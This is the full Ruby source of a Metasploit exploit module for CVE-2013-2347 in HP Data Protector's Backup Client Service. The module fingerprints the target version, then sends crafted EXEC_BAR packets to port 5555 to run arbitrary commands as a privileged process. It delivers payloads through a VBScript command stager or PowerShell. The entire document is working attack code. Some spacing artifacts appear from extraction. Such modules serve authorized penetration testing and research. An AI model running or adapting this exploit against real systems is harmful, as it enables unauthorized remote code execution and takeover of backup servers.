require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super (update_info(info,
'Name' => 'HP Data Protector Backup Client Service Remote Code Execution' ,
'Description' => %q{
This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
execution. The vulnerability exists in the EXEC_BAR operation, which allows to
execute arbitrary processes. This module has been tested successfully on HP Data
Protector 6 . 20 on Windows 2003 SP2 and Windows 2008 R2 .
},
'Author' =>
[
'Aniway.Anyway <Aniway.Anyway[at]gmail.com>' ,
'juan vazquez'
],
'References' =>
[
[ 'CVE' , '2013-2347' ],
[ 'BID' , '64647' ],
[ 'ZDI' , '14-008' ],
],
'Privileged' => true ,
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'DECODERSTUB' => File .join(Msf::Config.data_directory, "exploits" , "cmdstager" , "vbs_b64_noquot" )
},
'Platform' => 'win' ,
'Targets' =>
[
[ 'HP Data Protector 6.20 build 370 / VBScript CMDStager' , { } ],
[ 'HP Data Protector 6.20 build 370 / Powershell' , { } ]
],
'DefaultTarget' => 0 ,
'DisclosureDate' => 'Jan 02 2014' ))
register_options(
[
Opt:: RPORT ( 5555 ),
OptString. new ( 'CMDPATH' , [ true , 'The cmd.exe path' , 'c:\\windows\\system32\\cmd.exe' ])
],
self . class )
end
def check
fingerprint = get_fingerprint
if fingerprint. nil ?
return Exploit::CheckCode::Unknown
end
print_status( "#{peer} - HP Data Protector version #{fingerprint}" )
if fingerprint =~ / HP Data Protector A \. 06 \.(\d+)/
minor = $1 .to_i
else
return Exploit::CheckCode::Safe
end
if minor < 21
return Exploit::CheckCode::Appears
elsif minor == 21
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Detected
end
end
def exploit
if target.name =~ /VBScript CMDStager/
execute_cmdstager({ :linemax => 7500 })
elsif target.name =~ /Powershell/
command = cmd_psh_payload(payload.encoded).gsub(/% COMSPEC % /, "" )
if command.length > 8000
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command" )
end
print_status( "#{peer} - Exploiting through Powershell..." )
exec_bar(datastore[ 'CMDPATH' ], command, "\x00" )
end
end
def peer
"#{rhost}:#{rport}"
end
def build_pkt(fields)
data = "\xff\xfe"
fields. each do |v|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
data << Rex::Text.to_unicode( " " )
end
data.chomp!(Rex::Text.to_unicode( " " ))
return [data.length].pack( "N" ) + data
end
def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper( 64 ))
resp = ommni.get_once(- 1 )
disconnect
if resp. nil ?
return nil
end
Rex::Text.to_ascii(resp).chop.chomp
end
def exec_bar(cmd, *args)
connect
pkt = build_pkt([
"2" ,
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
"11" ,
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
rand_text_alpha( 8 ),
"#{cmd}" , # Executable
rand_text_alpha( 8 )
].concat(args))
sock.put(pkt)
begin
res = sock.get_once(- 1 , 20 )
rescue EOFError
disconnect
return
end
fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting..." ) unless exec_bar?(res)
disconnect
end
def exec_bar?(data)
return false if data.blank?
data_unpacked = data.unpack( "NnVv" )
data_unpacked.length == 4 && data_unpacked[ 0 ] == 8 && data_unpacked[ 1 ] == 0xfffe && data_unpacked[ 2 ] == 0x36 && data_unpacked[ 3 ] == 0
end
def execute_command(cmd, opts = {})
exec_bar(datastore[ 'CMDPATH' ], "/c #{cmd}" , "\x00" )
end
def get_vbs_string(str)
vbs_str = ""
str.each_byte { |b|
vbs_str << "Chr(#{b})+"
}
return vbs_str.chomp( "+" )
end
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance .instance_variable_get(: @var_decoded )
var_encoded = @stager_instance .instance_variable_get(: @var_encoded )
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list . each do |command|
command.gsub!(/cscript \/\/nologo/, "wscript //nologo" )
command.gsub!(/ CHRENCFILE /, get_vbs_string(encoded_file))
command.gsub!(/ CHRDECFILE /, get_vbs_string(decoded_file))
end
end
end
|